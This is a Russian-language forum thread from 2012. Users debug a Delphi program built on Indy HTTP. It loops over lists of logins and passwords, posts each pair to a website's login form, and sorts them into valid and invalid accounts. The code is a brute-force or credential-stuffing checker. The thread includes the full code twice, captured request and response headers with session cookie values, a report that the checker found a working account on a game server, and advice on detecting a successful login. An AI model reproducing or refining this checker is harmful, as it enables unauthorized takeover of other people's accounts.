Авторизация

fenks · 26.05.2012

окей нажми не чего страшного

dan9 · 26.05.2012

Дык он не продолжает проверять, ступорится

fenks · 26.05.2012

dan9 сказал: ↑

Дык он не продолжает проверять, ступорится
Нажмите, чтобы раскрыть...

var
CM : TIdCookieManager;
post,get:string;
data:tstringlist;
l,p:integer;
begin
Label1.Caption:='0';
Label2.Caption:='0';
for l := 0 to Memo1.Lines.Count - 1 do /
for p := 0 to Memo2.Lines.Count -1 do
begin
CM := TidCookieManager.Create(IdHTTP1);
IdHTTP1.AllowCookies := True;
IdHTTP1.CookieManager := CM;
IdHTTP1.HandleRedirects := false;
IdHTTP1.Request.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
data:=tstringlist.Create;
data.Add('login='+Memo1.Lines[l]);
data.Add('pass='+Form1.Memo2.Lines[p]);
data.Add('x=11');
data.Add('y=13');
data.Add('authsubmit=Вход');
try
IdHTTP1.Post('http://***', data);
except
end;
if Pos('Connection: keep-alive', IdHTTP1.Request.RawHeaders.Text)<>0 then
begin
Memo3.Lines.Add(Memo1.Lines[l]+';'+Memo2.Lines[p]+ ' |GooD');
Label1.Caption:=IntToStr(StrToInt(Label1.Caption)+ 1)
end
else
//Memo3.Lines.Add(Memo1.Lines[l]+';'+Memo2.Lines[p]+ ' |BaD');
Label2.Caption:=IntToStr(StrToInt(Label2.Caption)+ 1)
end;
data.Free;
end;
end;
Нажмите, чтобы раскрыть...

Так пробуй

dan9 · 26.05.2012

fenks сказал: ↑

Так пробуй
Нажмите, чтобы раскрыть...

Т.е все в ГУДЫ кидает и валид и не валид

fenks · 26.05.2012

var
CM : TIdCookieManager;
post,get:string;
data:tstringlist;
l,p:integer;
begin
Label1.Caption:='0';
Label2.Caption:='0';
for l := 0 to Memo1.Lines.Count - 1 do /
for p := 0 to Memo2.Lines.Count -1 do
begin
CM := TidCookieManager.Create(IdHTTP1);
IdHTTP1.AllowCookies := True;
IdHTTP1.CookieManager := CM;
IdHTTP1.HandleRedirects := false;
IdHTTP1.Request.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
data:=tstringlist.Create;
data.Add('login='+Memo1.Lines[l]);
data.Add('pass='+Form1.Memo2.Lines[p]);
data.Add('x=11');
data.Add('y=13');
data.Add('authsubmit=Вход');
try
IdHTTP1.Post('http://***', data);
except
end;
if Pos('Connection: close', IdHTTP1.Request.RawHeaders.Text)<>0 then
begin
Memo3.Lines.Add(Memo1.Lines[l]+';'+Memo2.Lines[p]+ ' |GooD');
Label1.Caption:=IntToStr(StrToInt(Label1.Caption)+ 1)
end
else
//Memo3.Lines.Add(Memo1.Lines[l]+';'+Memo2.Lines[p]+ ' |BaD');
Label2.Caption:=IntToStr(StrToInt(Label2.Caption)+ 1)
end;
data.Free;
end;
end;
Нажмите, чтобы раскрыть...

Вот так попробуй

dan9 · 26.05.2012

fenks сказал: ↑

Вот так попробуй
Нажмите, чтобы раскрыть...

Очень быстро стал проверять, но зато терь все в беды кидает

fenks · 26.05.2012

Сравни в анализаторе валидный гет запрос свой, и валидный программы, чем отличаются.

dan9 · 26.05.2012

При отправке с программы (если проверка if Pos('Connection: close', ) вот что ловит

Кстати это запрос ПОСТ, от программы ГЕТ нету запроса. Один ПОСТ только..

Код:

POST /main/auth/ HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Host: www.***********.ru
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0

login=***********&pass=***********&x=11&y=13&authsubmit=%D0%92%D1%85%D0%BE%D0%B4

и

Код:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 26 May 2012 01:43:03 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.13-1~dotdeb.0
Set-Cookie: log=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.*********.ru
Set-Cookie: pwd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.*********.ru
Set-Cookie: key=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.*********.ru
Set-Cookie: log=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Set-Cookie: pwd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Set-Cookie: key=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Set-Cookie: log=*********; expires=Thu, 31-May-2012 01:43:03 GMT; path=/
Set-Cookie: pwd=f502206970c32fccd096fee20995ba30; expires=Thu, 31-May-2012 01:43:03 GMT; path=/
Set-Cookie: key=629f7417ccd6352660aaa69310ebb1e2; expires=Thu, 31-May-2012 01:43:03 GMT; path=/
Location: /account/stat/

Получается первом случае Connection: keep-alive , а во втором Connection: close хмм

При валиде на сайте то в обоих случаях Connection: keep-alive

fenks · 26.05.2012

значит дело в исключения try except end.
перед запросом идет try
если соединения установилося
если там какая-то ошибка то except и закрываем end; помучейся, я так сказать не могу.

dan9 · 26.05.2012

Целую ночь сидел с этой фигней)

Спасибо то что помог в этом)
Пойду по сплю и может что нить откопаю...

dan9 · 26.05.2012

Чет хрень какая то, попробовал на другом сайте (левый сервер ла2)
Изменил там
Код:
IdHTTP1.HandleRedirects := true;
и
Код:
if Pos('logout',post)<>0 then
И нормально авторизовался, нашел из 5 акков ( 4 беда и 1 гуд) мой нормально нашел. Хм... а на том сайте не в какую не хочет. Попробую сейчас еще на другом сайте потестить.

Kapitan · 27.05.2012

сайт в личку, и валид акк. Попробую сделать

KoBaL · 30.05.2012

Насоветовали парню херни...

После завершения POST запроса можно делать GET запрос, т.к куки уже в памяти процесса, поэтому делается GET запрос на главную страницу и её код проверяется на вход.